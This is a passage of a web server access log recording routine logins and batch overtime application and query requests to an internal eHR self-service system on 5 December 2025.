"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7089043683902354" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:45:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7089043683902354 HTTP/1.1" 200 27500 192.168.11.104 - - [05/Dec/2025:08:46:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4276 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:46:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4276 192.168.11.104 - - [05/Dec/2025:08:46:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:46:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [05/Dec/2025:08:46:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:46:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.104 - - [05/Dec/2025:08:46:36 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:46:36 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.104 - - [05/Dec/2025:08:46:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 192.168.11.104 - - [05/Dec/2025:08:46:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:46:36 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [05/Dec/2025:08:46:36 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.55 - - [05/Dec/2025:08:46:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:46:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.55 - - [05/Dec/2025:08:46:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:46:57 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.55 - - [05/Dec/2025:08:47:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.55 - - [05/Dec/2025:08:47:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.55 - - [05/Dec/2025:08:47:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.55 - - [05/Dec/2025:08:47:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [05/Dec/2025:08:47:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9836129260690976 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9836129260690976 HTTP/1.1" 200 8736 192.168.11.55 - - [05/Dec/2025:08:47:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9836129260690976 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9836129260690976" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9836129260690976 HTTP/1.1" 200 14154 192.168.11.55 - - [05/Dec/2025:08:47:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 192.168.11.55 - - [05/Dec/2025:08:47:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 192.168.11.55 - - [05/Dec/2025:08:47:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [05/Dec/2025:08:47:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47507591227737955 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:56 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47507591227737955 HTTP/1.1" 200 8736 192.168.11.55 - - [05/Dec/2025:08:47:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47507591227737955 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47507591227737955" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:47:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.47507591227737955 HTTP/1.1" 200 14154 192.168.11.55 - - [05/Dec/2025:08:48:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:48:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062 192.168.11.55 - - [05/Dec/2025:08:48:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:48:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3642 192.168.11.55 - - [05/Dec/2025:08:48:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:48:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.55 - - [05/Dec/2025:08:48:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8856808412066164 HTTP/1.1" 200 8736 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:48:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8856808412066164 HTTP/1.1" 200 8736 192.168.11.55 - - [05/Dec/2025:08:48:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8856808412066164 HTTP/1.1" 200 14154 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8856808412066164" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:48:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8856808412066164 HTTP/1.1" 200 14154 192.168.11.55 - - [05/Dec/2025:08:48:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.55 - - [05/Dec/2025:08:48:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4060 192.168.11.135 - - [05/Dec/2025:08:48:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:48:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [05/Dec/2025:08:48:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:48:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [05/Dec/2025:08:48:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:48:56 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [05/Dec/2025:08:49:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:49:01 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [05/Dec/2025:08:49:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:49:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [05/Dec/2025:08:49:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:49:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [05/Dec/2025:08:49:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7499770149326526 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:49:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7499770149326526 HTTP/1.1" 200 8908 192.168.11.135 - - [05/Dec/2025:08:49:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7499770149326526 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7499770149326526" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:49:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7499770149326526 HTTP/1.1" 200 24852 192.168.11.135 - - [05/Dec/2025:08:50:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4488 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4488 192.168.11.135 - - [05/Dec/2025:08:50:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [05/Dec/2025:08:50:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6577693428389572 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6577693428389572 HTTP/1.1" 200 8908 192.168.11.135 - - [05/Dec/2025:08:50:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6577693428389572 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6577693428389572" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6577693428389572 HTTP/1.1" 200 11758 192.168.11.135 - - [05/Dec/2025:08:50:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4402 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4402 192.168.11.135 - - [05/Dec/2025:08:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [05/Dec/2025:08:50:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 9028 192.168.11.135 - - [05/Dec/2025:08:50:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:41 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [05/Dec/2025:08:50:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:45 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [05/Dec/2025:08:50:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:50 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [05/Dec/2025:08:50:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:50:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [05/Dec/2025:08:51:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [05/Dec/2025:08:51:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8971391044248366 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8971391044248366 HTTP/1.1" 200 8908 192.168.11.135 - - [05/Dec/2025:08:51:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8971391044248366 HTTP/1.1" 200 11758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8971391044248366" 